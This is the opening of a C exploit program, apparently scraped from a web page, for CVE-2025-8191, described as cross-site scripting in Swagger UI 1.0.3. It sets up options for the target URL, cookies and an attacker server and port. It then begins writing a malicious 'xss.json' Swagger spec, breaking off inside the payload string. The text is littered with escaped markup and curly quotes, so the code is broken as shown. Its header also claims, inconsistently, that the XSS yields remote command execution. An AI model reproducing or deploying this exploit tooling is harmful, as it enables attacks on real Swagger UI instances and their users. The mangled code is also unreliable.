\n\/*
\n
* Author : Byte Reaper
\n
* Telegram : @ByteReaper0
\n
* CVE : CVE-2025-8191
\n
* Title : Swagger UI 1.0.3 – Cross-Site Scripting (XSS)
\n
* Description : CVE-2025-8191, a vulnerability in the Swagger UI service due to poor description parameter filtering, leading to command execution on a remote server.
\n
*
\n
*\/<\/p>\n
#include
\n
#include
\n
#include
\n
#include “argparse.h”
\n
#include <\/p>\nint portSel = 0;
\n
int portServerSel = 0;
\n
int selectFile = 0;
\n
const char *targetUrl = NULL;
\n
const char *cookies = NULL;
\n
const char *server = NULL;
\n
const char *yourFile = NULL;
\n
const char *payloadFile = “xss.json”;
\n
int targetPort = 0;
\n
int yourPort = 0;
\n
int verbose = 0;
\n
int useCookies = 0;
\n
struct Mem
\n
{
\n
char *buffer;
\n
size_t len;
\n
};<\/p>\n
void exitAssembly()
\n
{
\n
__asm__ volatile
\n
(
\n
“mov $231, %%rax\\n\\t”
\n
“xor %%rdi, %%rdi\\n\\t”
\n
“syscall\\n\\t”
\n
:
\n
:
\n
:”rax”,
\n
“rdi”
\n
);
\n
}
\n
size_t write_cb(void *ptr,
\n
size_t size, size_t nmemb,
\n
void *userdata)
\n
{
\n
size_t total = size * nmemb;
\n
struct Mem *m = (struct Mem *)userdata;
\n
char *tmp = realloc(m->buffer, m->len + total + 1);
\n
if (tmp == NULL)
\n
{
\n
printf(“\\e[1;31m[-] Failed to allocate memory!\\e[0m\\n”);
\n
exitAssembly();
\n
}
\n
m->buffer = tmp;
\n
memcpy(&(m->buffer[m->len]), ptr, total);
\n
m->len += total;
\n
m->buffer[m->len] = ‘\\0’;
\n
return total;
\n
}
\n
void createFile(const char *filename,
\n
const char *server)
\n
{
\n
FILE *f = fopen(filename, “w”);
\n
if (f == NULL)
\n
{
\n
printf(“\\e[1;31m[-] Error Create file (xss.json)!\\e[0m\\n”);
\n
exitAssembly();
\n
}<\/p>\n
char payloadBuf[2048];
\n
int lenFile = snprintf(
\n
payloadBuf,
\n
sizeof(payloadBuf),
\n
“{\\n”
\n
” \\”swagger\\”: \\”2.0\\”,\\n”
\n
” \\”info\\”: {\\n”
\n
” \\”version\\”: \\”1.0.0\\”,\\n”
\n
” \\”title\\”: \\”XSS Injection Demo\\”,\\n”
\n
” \\”description\\”: \\”